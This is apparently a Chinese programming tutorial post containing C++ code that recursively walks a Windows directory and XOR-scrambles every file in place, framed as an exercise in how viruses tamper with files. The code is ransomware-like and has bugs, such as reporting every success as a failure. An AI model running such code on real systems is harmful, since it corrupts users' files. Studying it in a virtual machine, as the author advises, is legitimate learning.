我们知道有很多病毒都是对我们系统的文件做了一些手脚,我们上一篇文章学习了如何对Windows下的文件和目录操作,现在我们写一个小练习:遍历指定目录,循环加密文件内容:
// 加密文件夹.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <string>
BOOL EncipherFile(LPCWSTR lpDirectory);
BOOL EncipherDocument(LPCWSTR lpDirectory);
int main()
{
if (EncipherFile(L"E:\\Test")) {
std::cout << L"加密完成" << std::endl;
}
else {
std::cout << L"加密失败" << std::endl;
}
}
BOOL EncipherFile(LPCWSTR lpDirectory)
{
WIN32_FIND_DATAW FindFileData;
HANDLE hFile = FindFirstFile((std::wstring(lpDirectory) + L"\\*").c_str(), &FindFileData);
if (hFile == INVALID_HANDLE_VALUE) {
std::wcout << "FindFirstFile Failed" << std::endl;
return FALSE;
}
do {
// 判断是否为目录:
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (wcscmp(FindFileData.cFileName, L".") != 0 && wcscmp(FindFileData.cFileName, L"..") != 0) {
// 构建新的路径并递归调用
std::wstring newPath = std::wstring(lpDirectory) + L"\\" + FindFileData.cFileName;
EncipherFile(newPath.c_str());
}
}
else {
// 构建文件的完整路径
std::wstring filePath = std::wstring(lpDirectory) + L"\\" + FindFileData.cFileName;
// 加密文件
if (EncipherDocument(filePath.c_str())) {
std::wcout << L"Successfull Encipher" << filePath << std::endl;
}
else {
std::wcout << "Failed to Encipher: " << filePath << std::endl;
}
}
} while (FindNextFile(hFile, &FindFileData));
FindClose(hFile);
return TRUE;
}
BOOL EncipherDocument(LPCWSTR lpDirectory)
{
BOOL bRet;
HANDLE hFile = CreateFile(lpDirectory, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
//获取文件大小
LARGE_INTEGER FileSize;
bRet = GetFileSizeEx(hFile, &FileSize);
if (!bRet) {
std::cout << "Faild to GetFileSize" << std::endl;
return FALSE;
}
CHAR* szBuffer = new CHAR[FileSize.LowPart + 1];
memset(szBuffer, 0, FileSize.LowPart + 1);
//读文件
DWORD lpNumberOfBytesRead;
bRet = ReadFile(hFile, szBuffer, FileSize.LowPart, &lpNumberOfBytesRead, NULL);
if (!bRet) {
std::cout << L"Failed to ReadFile" << std::endl;
return FALSE;
}
for (size_t i = 0; i < FileSize.LowPart; i++)
{
szBuffer[i] ^= 'a';
}
//移动文件指针
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
//写入文件
DWORD lpNumberOfBytesWritten;
bRet = WriteFile(hFile, szBuffer, FileSize.LowPart, &lpNumberOfBytesWritten, NULL);
if (!bRet) {
std::cout << L"Failed to WriteFile!" << std::endl;
return FALSE;
}
std::cout << "Successful Enciph:" << lpDirectory << std::endl;
CloseHandle(hFile);
return 0;
}
这边建议大家还是在虚拟机上做实验,万一一不小心就将系统文件给打乱了